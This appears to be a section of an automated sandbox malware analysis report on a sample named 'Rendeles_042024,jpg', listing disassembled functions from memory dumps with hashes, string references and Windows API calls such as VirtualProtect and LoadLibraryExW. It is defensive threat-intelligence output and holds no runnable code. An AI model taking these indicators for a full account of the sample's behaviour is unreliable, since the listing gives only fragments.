Instruction Fuzzy Hash: 6C326030A05268CFDB94DFD8C994BADBBFABB84700F648D65E402AB395CB749C41CB51

Uniqueness

Uniqueness Score: -1.00%

Function 03021478 Relevance: 14.2, Strings: 11, Instructions: 437
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 0302171D
Te]q, xrefs: 030215AA
Te]q, xrefs: 030214C6
Te]q, xrefs: 03021628
$]q, xrefs: 03021978
$]q, xrefs: 030218C3
Te]q, xrefs: 030216C6
Te]q, xrefs: 03021513
$]q, xrefs: 030218B7
$]q, xrefs: 03021984
Te]q, xrefs: 0302170D

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: Te]q$Te]q$Te]q$Te]q$Te]q$Te]q$Te]q$$]q$$]q$$]q$$]q
API String ID: 0-2237115325
Opcode ID: 5f0729615e9e5f2dfb32954f940a16c96c31fb7a5b1262a32b3e56d1f5e730cf
Instruction ID: 741e298ad8e137e3137700b058f16eaf89b0d908518c471dfbe7ea037c1bf935
Opcode Fuzzy Hash: 5f0729615e9e5f2dfb32954f940a16c96c31fb7a5b1262a32b3e56d1f5e730cf
Instruction Fuzzy Hash: 2DF19274B41218DFDB18DFA8C855BAE7AF6AFC8700F148865E906AB3D4DE748C42CB51

Uniqueness

Uniqueness Score: -1.00%

Function 03021469 Relevance: 10.4, Strings: 8, Instructions: 391
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Te]q, xrefs: 030215AA
Te]q, xrefs: 030214C6
Te]q, xrefs: 03021628
$]q, xrefs: 03021978
Te]q, xrefs: 030216C6
Te]q, xrefs: 03021513
$]q, xrefs: 030218B7
Te]q, xrefs: 0302170D

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: Te]q$Te]q$Te]q$Te]q$Te]q$Te]q$$]q$$]q
API String ID: 0-2016595432
Opcode ID: d94634aa330c96a0eefb8ef6454ab4f29dce2349f439b6e1dbdd885d4af1650e
Instruction ID: 184d601e4bbf2ddf206196d18cfc205976a164e27a1db7fdde5be7774642e248
Opcode Fuzzy Hash: d94634aa330c96a0eefb8ef6454ab4f29dce2349f439b6e1dbdd885d4af1650e
Instruction Fuzzy Hash: D1E19274B41214DFDB18DFA8C8557AE7AF6ABC8700F248866E902AB3D4DE748C42DB51

Uniqueness

Uniqueness Score: -1.00%

Function 03022C60 Relevance: 10.2, Strings: 8, Instructions: 226
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 03022F01
$]q, xrefs: 03022E21
$]q, xrefs: 03022E37
$]q, xrefs: 03022D37
Te]q, xrefs: 03022C72
XX]q, xrefs: 03022C64
fbq, xrefs: 03022F5C
fbq, xrefs: 03022E11

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: fbq$ fbq$Te]q$XX]q$$]q$$]q$$]q$$]q
API String ID: 0-1505870616
Opcode ID: 2e8fce3ba5d4093c66bf54f23b3f7bab74fc4d81273e5b6e01b4fad48a7692d7
Instruction ID: 18b03d293a2abf926504b785e229f6c8d9d2381b311e93e0d2ad6c1876f173b8
Opcode Fuzzy Hash: 2e8fce3ba5d4093c66bf54f23b3f7bab74fc4d81273e5b6e01b4fad48a7692d7
Instruction Fuzzy Hash: 84918030A06268CFDBE9CFD8C544BADBFBABB44701F688D66E4016B2A5C7709C41DB51

Uniqueness

Uniqueness Score: -1.00%

Function 03022C47 Relevance: 10.2, Strings: 8, Instructions: 213
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 03022F01
$]q, xrefs: 03022E21
$]q, xrefs: 03022E37
$]q, xrefs: 03022D37
Te]q, xrefs: 03022C72
XX]q, xrefs: 03022C64
fbq, xrefs: 03022F5C
fbq, xrefs: 03022E11

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: fbq$ fbq$Te]q$XX]q$$]q$$]q$$]q$$]q
API String ID: 0-1505870616
Opcode ID: 6872900441a5b9ff12afdcb0a408a254b70a00760bc69abbc21f756ac8707dad
Instruction ID: baacdc1a1416679805c3bc35dd414561de23e0bee9b8d02298192fa73e203a48
Opcode Fuzzy Hash: 6872900441a5b9ff12afdcb0a408a254b70a00760bc69abbc21f756ac8707dad
Instruction Fuzzy Hash: 4D81B330A06268CFDBE5CFD8C544BADBBF9BB44701F688D66E4026B2A5C7309C41DB41

Uniqueness

Uniqueness Score: -1.00%

Function 03165DC8 Relevance: 6.1, APIs: 4, Instructions: 134
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 03165E56
GetCurrentThread.KERNEL32 ref: 03165E93
GetCurrentProcess.KERNEL32 ref: 03165ED0
GetCurrentThreadId.KERNEL32 ref: 03165F29

Memory Dump Source

Source File: 00000000.00000002.2008218535.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3160000_Rendeles_042024,jpg.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 495cee6dc1c412c73ecaa59066fceac88c0503308f4825149d02a53fdcb839b7
Instruction ID: 34f5e1a414cb16452e40bc620b94ec7a1318141923aec02a6b4b866e3e212afb
Opcode Fuzzy Hash: 495cee6dc1c412c73ecaa59066fceac88c0503308f4825149d02a53fdcb839b7
Instruction Fuzzy Hash: B75154B09002498FDB14DFAAD648BAEBFF2FF4D314F248459E009A72A0D7395984CB65

Uniqueness

Uniqueness Score: -1.00%

Function 03165DD8 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 03165E56
GetCurrentThread.KERNEL32 ref: 03165E93
GetCurrentProcess.KERNEL32 ref: 03165ED0
GetCurrentThreadId.KERNEL32 ref: 03165F29

Memory Dump Source

Source File: 00000000.00000002.2008218535.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3160000_Rendeles_042024,jpg.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: cad9b65c29d989c15404e5de9a2229f9c996c625e2890fb1c982030acb7e0574
Instruction ID: e722d56e2441226c0d2695a73dc4292b40ac1008ff95d9b28c2640f78dc337e8
Opcode Fuzzy Hash: cad9b65c29d989c15404e5de9a2229f9c996c625e2890fb1c982030acb7e0574
Instruction Fuzzy Hash: 925156B09002098FDB14DFAAD648BAEFBF6FF49314F208459D009A7260D7755984CF65

Uniqueness

Uniqueness Score: -1.00%

Function 03021757 Relevance: 2.7, Strings: 2, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 03021978
$]q, xrefs: 030218B7

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 0cb12e8400893db4da9a76a34c2dd9ca4c812321eb0d4ae98807bb5b5f7998ff
Instruction ID: f1ebb683550cb54f797a07665a84252e50fae2e91e823e0d245d911a16f2bd0e
Opcode Fuzzy Hash: 0cb12e8400893db4da9a76a34c2dd9ca4c812321eb0d4ae98807bb5b5f7998ff
Instruction Fuzzy Hash: 25718034B412189FDB189B78D855BAE7FF6AFC8700F248825E906AB394DE748C41DB91

Uniqueness

Uniqueness Score: -1.00%

Function 03021804 Relevance: 2.7, Strings: 2, Instructions: 189
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 03021978
$]q, xrefs: 030218B7

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 8f51ca4ffb91005dbfaee61499f6a624fa7e89aa8bc78d01e5a7d01951968e3d
Instruction ID: 4c1a0e08f0670275ffe6ba1d160d59e1af56e6163bb0c18690921b739b92e9a3
Opcode Fuzzy Hash: 8f51ca4ffb91005dbfaee61499f6a624fa7e89aa8bc78d01e5a7d01951968e3d
Instruction Fuzzy Hash: C6619234B402189FDB189B79C855BAE7BE6BFC8700F248925F906AB7D4DE748C01DB91

Uniqueness

Uniqueness Score: -1.00%

Function 03021D68 Relevance: 2.6, Strings: 2, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8aq, xrefs: 03021E47
8aq, xrefs: 03021E1F

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: 8aq$8aq
API String ID: 0-1589283582
Opcode ID: 48ea3b9463432a2dbd189c90f18ba2964cba02564f67fbff42a548ede372edd6
Instruction ID: 68cb810699d8064950a65f96906104ff11d090fa40e64d33d0b41d991377c21d
Opcode Fuzzy Hash: 48ea3b9463432a2dbd189c90f18ba2964cba02564f67fbff42a548ede372edd6
Instruction Fuzzy Hash: F421B431609261DFDB19DB6DDC40B6A7FA9EB81600B1544BAE502C72D4DA38CD02CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 03163A08 Relevance: 1.7, APIs: 1, Instructions: 229COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(?), ref: 03163C8A

Memory Dump Source

Source File: 00000000.00000002.2008218535.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3160000_Rendeles_042024,jpg.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 3563770bc907528884bff882b048a53b647ae9880ac99d3554ef9aaae529671f
Instruction ID: 7a6d84afeb6842b5114983e8e8ee59e90596eb3b580cef22e46b9f69685408d0
Opcode Fuzzy Hash: 3563770bc907528884bff882b048a53b647ae9880ac99d3554ef9aaae529671f
Instruction Fuzzy Hash: FE913274A00B098FCB24DFA9D484B9ABBF5FF48304F08892AD45AE7760D734E955CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0316A710 Relevance: 1.7, APIs: 1, Instructions: 182COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0316A8D1

Memory Dump Source

Source File: 00000000.00000002.2008218535.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3160000_Rendeles_042024,jpg.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: e3be9242ef0cda8f2b1692a935fedadb6967e6c4c0fe7ba4ff75355872b3b4f5
Instruction ID: 5a32afbf87bab0ad2d900ed6f27d65fd22b0bfb54f7e191c0080ad1ecaf0af7d
Opcode Fuzzy Hash: e3be9242ef0cda8f2b1692a935fedadb6967e6c4c0fe7ba4ff75355872b3b4f5
Instruction Fuzzy Hash: 68716AB4D00218DFDF60CFA9C984A9DBBB1BF0A300F2491AAE418B7211D735AA85CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0316A70F Relevance: 1.7, APIs: 1, Instructions: 180COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 0316A8D1

Memory Dump Source

Source File: 00000000.00000002.2008218535.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3160000_Rendeles_042024,jpg.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 5e1995eee01b72f47dae779901eb74583c71de2031ef3159ffa5ead66f053ab6
Instruction ID: c3b48a64292605df30dd553ff481511154adac7596bd463387c861641cf94296
Opcode Fuzzy Hash: 5e1995eee01b72f47dae779901eb74583c71de2031ef3159ffa5ead66f053ab6
Instruction Fuzzy Hash: 677169B4D00218DFDF60CFA9C984A9DBBB1BF0A300F2491AAE418B7211D735AA85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 02FFC2FC Relevance: 1.6, APIs: 1, Instructions: 126COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 02FFDB39

Memory Dump Source

Source File: 00000000.00000002.2007517249.0000000002FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ff0000_Rendeles_042024,jpg.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: a801fea8287444769ace4efc21d989852485974cbf036a1d65bc6ba005e79ebb
Instruction ID: 7e34eb3175d9f4fcffbc2b6310b1903367e4ea9e88e67b14038bd85d518dfdfe
Opcode Fuzzy Hash: a801fea8287444769ace4efc21d989852485974cbf036a1d65bc6ba005e79ebb
Instruction Fuzzy Hash: 6251E671D0021CCFDB61DFA8C940B9EBBB5BF4A304F10809AD609BB261DB756A85CF91

Uniqueness

Uniqueness Score: -1.00%

Function 03166018 Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 031660EB

Memory Dump Source

Source File: 00000000.00000002.2008218535.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3160000_Rendeles_042024,jpg.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9c8002da01a3f44c0d41b7f38a8568c364d35ca24ec4e59a9f919acfc83584a6
Instruction ID: 5588e76c172de67c0b38710bec03b0f7162fff79936e4c9f258dd979e6fb8515
Opcode Fuzzy Hash: 9c8002da01a3f44c0d41b7f38a8568c364d35ca24ec4e59a9f919acfc83584a6
Instruction Fuzzy Hash: 3D4176B9D002589FCB10CFA9D984ADEBBF5FB09310F14902AE918BB210D335A955CF54

Uniqueness

Uniqueness Score: -1.00%

Function 03166020 Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 031660EB

Memory Dump Source

Source File: 00000000.00000002.2008218535.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3160000_Rendeles_042024,jpg.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: ca6a92bcfb3e99626a8e111540ad6ba2198f4ed3757bc3d5dbb15b0f5ffe303a
Instruction ID: 5cb5156700e055c3a53ba72bf664bc10ca0fc7abcbd3b780c905a1e3f2eb9778
Opcode Fuzzy Hash: ca6a92bcfb3e99626a8e111540ad6ba2198f4ed3757bc3d5dbb15b0f5ffe303a
Instruction Fuzzy Hash: 454146B9D002589FCB10CFA9D984ADEBBF5BB49310F14906AE918BB310D335A955CF54

Uniqueness

Uniqueness Score: -1.00%

Function 02FF8260 Relevance: 1.6, APIs: 1, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 02FF830F

Memory Dump Source

Source File: 00000000.00000002.2007517249.0000000002FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ff0000_Rendeles_042024,jpg.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: d8919723e4a78353e768af5441e3e28283daf8e13c8b5624b74ec42e8b3586e7
Instruction ID: 9ebdd6ac67f5c3b80c0ed1d26fe9269f0857064a8b54f0e7cb0eb5606d424278
Opcode Fuzzy Hash: d8919723e4a78353e768af5441e3e28283daf8e13c8b5624b74ec42e8b3586e7
Instruction Fuzzy Hash: BF318AB5D002589FCB10CFA9D984AEEFBB1BF59310F24906AE914B7220D375A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 031633F8 Relevance: 1.6, APIs: 1, Instructions: 97libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(?,?,?), ref: 03163FB2

Memory Dump Source

Source File: 00000000.00000002.2008218535.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3160000_Rendeles_042024,jpg.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5a7d2b98004758e97a4f9280cc3d0e49fb0910f2e7dba15f6a0bc70f2996c850
Instruction ID: 12be373a7460aeff3317b5e9d47ad6167f51af135fb354b051ac1e80da470e90
Opcode Fuzzy Hash: 5a7d2b98004758e97a4f9280cc3d0e49fb0910f2e7dba15f6a0bc70f2996c850
Instruction Fuzzy Hash: 534199B8D042589FCB14CFAAD584A9EFBF5FB09310F14946AE828B7320D335A945CF95

Uniqueness

Uniqueness Score: -1.00%

Function 03163F02 Relevance: 1.6, APIs: 1, Instructions: 97libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(?,?,?), ref: 03163FB2

Memory Dump Source

Source File: 00000000.00000002.2008218535.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3160000_Rendeles_042024,jpg.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 472bba78da7a1a095a0e7a77f7f9dca840db1e04eea40e766370ddccd67f2772
Instruction ID: 6339ec41ed896c5cc28771d25d7557b9fa2e4b2376272ff412b2a38539fa6ece
Opcode Fuzzy Hash: 472bba78da7a1a095a0e7a77f7f9dca840db1e04eea40e766370ddccd67f2772
Instruction Fuzzy Hash: 124199B8D002589FCB14CFAAD584A9EFBF5BB09310F14946AE828B7320D335A945CF95

Uniqueness

Uniqueness Score: -1.00%

Function 03169C24 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 0316CF41

Memory Dump Source

Source File: 00000000.00000002.2008218535.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3160000_Rendeles_042024,jpg.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 91e06a7fe4fde3a5d7b20db45f26bc3e78ea28b73a387bd317d2ba1cde4cddba
Instruction ID: aff88551ea408ef2fb94d93cd333fff6bfc1cfc2ae748907b8e97d6179577ea3
Opcode Fuzzy Hash: 91e06a7fe4fde3a5d7b20db45f26bc3e78ea28b73a387bd317d2ba1cde4cddba
Instruction Fuzzy Hash: C04129B49002058FCB14DF99C488AAAFBF9FF8C314F25C499E559A7325D774A841CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 02FF8268 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 02FF830F

Memory Dump Source

Source File: 00000000.00000002.2007517249.0000000002FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2ff0000_Rendeles_042024,jpg.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: dd8162d1e8ae715f8e40687ff133ee6b64beb3c016a635c8010bd50b6b89a8d1
Instruction ID: 5b63855e7501b47c865f5ad59412358c4be7129f730a56ce791c38f53276811e
Opcode Fuzzy Hash: dd8162d1e8ae715f8e40687ff133ee6b64beb3c016a635c8010bd50b6b89a8d1
Instruction Fuzzy Hash: DE3179B9D042589FCB10CFA9D984ADEFBF5BF19310F24902AE918B7220D375A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 03163BF8 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(?), ref: 03163C8A

Memory Dump Source

Source File: 00000000.00000002.2008218535.0000000003160000.00000040.00000800.00020000.00000000.sdmp, Offset: 03160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3160000_Rendeles_042024,jpg.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 7478501b29750f6a7162e94984b4290ef968bc1913cea611b7f2e021a64c08fa
Instruction ID: e043648f7466e7a63173c0e5249d2795648d9f3a6fef5bae137a5e36a2cececd
Opcode Fuzzy Hash: 7478501b29750f6a7162e94984b4290ef968bc1913cea611b7f2e021a64c08fa
Instruction Fuzzy Hash: 5C319CB8D002599FCB14CFAAD584ADEFBF5AF49310F14906AE818B7320D335A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0302CDF4 Relevance: 1.4, Strings: 1, Instructions: 155COMMON

Download Yara Rule

Strings

Te]q, xrefs: 0302EFC1

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: 269b274abbfc83175ce2e4ae94112c23c0f3cfa239f2ed8493928c9add82a776
Instruction ID: 2c1cea27795df57ca22df390232502c22e4bf24d89ec8025baecc0b7ceece02c
Opcode Fuzzy Hash: 269b274abbfc83175ce2e4ae94112c23c0f3cfa239f2ed8493928c9add82a776
Instruction Fuzzy Hash: 9C51AD31B012168FCB15DFB9D8549AFBBFAEFC52207148969E45ADB351DB309C05CB60

Uniqueness

Uniqueness Score: -1.00%

Function 030247F0 Relevance: 1.4, Strings: 1, Instructions: 104COMMON

Download Yara Rule

Strings

4']q, xrefs: 03024AB2

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: 4']q
API String ID: 0-1259897404
Opcode ID: 8c758bfc6324b1364a992f95f8c683e173f14aadc1f75e5c9a04e349704ab80f
Instruction ID: d2c387b0721e10d5ba0cb655acbc6b0a341fd4f683c4750bab1ccdab4bff5fad
Opcode Fuzzy Hash: 8c758bfc6324b1364a992f95f8c683e173f14aadc1f75e5c9a04e349704ab80f
Instruction Fuzzy Hash: C741BF30A1A665CBCB15CF6BC8412BEBBF4EF84301F09C56BD9AA9B681D338D541CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0302E978 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

Te]q, xrefs: 0302E9E3

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: e9124706cc09acc43330bda50283660bc8a061f7ed4cf512763cde7671231a66
Instruction ID: 6245013c403e0ed66fbfeac1656e0217b15581062b619dcc8779f1385598e589
Opcode Fuzzy Hash: e9124706cc09acc43330bda50283660bc8a061f7ed4cf512763cde7671231a66
Instruction Fuzzy Hash: 9B114C31B0121A8BCB44EFB9D9105EEBAF6BFC8710B14407AC905E7244EB359D02CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0302D5A0 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d371ac049f440cc11200c10cbdc58586021e66c2cc70585893323c5358c8ed4d
Instruction ID: b5322d50e702228a20c6ccbb39ef9dab19176875a2ae7159d23171698304f647
Opcode Fuzzy Hash: d371ac049f440cc11200c10cbdc58586021e66c2cc70585893323c5358c8ed4d
Instruction Fuzzy Hash: A451B074A012189FDB04DFA9E894AEEBBF6FB88301F509129E805B7355DB38AD45CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0302D388 Relevance: .1, Instructions: 115COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a271710e535bb8b2c4b2f4f55f31ed8469aa20b667177943e82fe2bb4bbf7b04
Instruction ID: 5690f5ad5c6db9ee71e08468455aa93ff82bb3b727db877db5239567ad4a23df
Opcode Fuzzy Hash: a271710e535bb8b2c4b2f4f55f31ed8469aa20b667177943e82fe2bb4bbf7b04
Instruction Fuzzy Hash: 8641D078E112189FCB00DFA8D484AEEBBB1FB8C320F149569E810B7354D735A995CF90

Uniqueness

Uniqueness Score: -1.00%

Function 0302D078 Relevance: .1, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2007544499.0000000003020000.00000040.00000800.00020000.00000000.sdmp, Offset: 03020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3020000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46e45e6934e6bc1d5accbe215f639f2c36f7bc8547b62a559d09e6e7a6ad97c5
Instruction ID: bfa2f2e63d221c17487f63d035d364205d59a67533b3ad606886f03d56c06bef
Opcode Fuzzy Hash: 46e45e6934e6bc1d5accbe215f639f2c36f7bc8547b62a559d09e6e7a6ad97c5
Instruction Fuzzy Hash: 8A314775E002099FCB01DF98E880AEEBBB6FF88310F109569E914B7354D775AA40CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 013AD1FC Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2006909628.00000000013AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13ad000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf0ce430de81c3c2f467942afe8b6d756e20073a564b100f663f277ee33f88dc
Instruction ID: 168ba88d5846ea6ee23a41217e6aeb851a12bd9843dc4e2661521117825765e0
Opcode Fuzzy Hash: cf0ce430de81c3c2f467942afe8b6d756e20073a564b100f663f277ee33f88dc
Instruction Fuzzy Hash: D3212871504204DFDB06DF98D9C4F26BF65FB88328F60C569ED090BA56C33AD416CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 013BD01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2006932731.00000000013BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13bd000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 97a7af49f15d6dd1e90f1330c783a0b3b909640164ac736e88a315f0340a7a7e
Instruction ID: d59d39310a7ac2785cd69375e126273b171432c716a87be436c62787ec66092c
Opcode Fuzzy Hash: 97a7af49f15d6dd1e90f1330c783a0b3b909640164ac736e88a315f0340a7a7e
Instruction Fuzzy Hash: DA210071604204DFCB15DFA8D9C0B26BF69FB8831CF20C569DA0A0BA56D33AD406CA61

Uniqueness

Uniqueness Score: -1.00%

Function 013BD1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2006932731.00000000013BD000.00000040.00000800.00020000.00000000.sdmp, Offset: 013BD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13bd000_Rendeles_042024,jpg.jbxd

Similarity

API ID:
String ID:
API String ID:
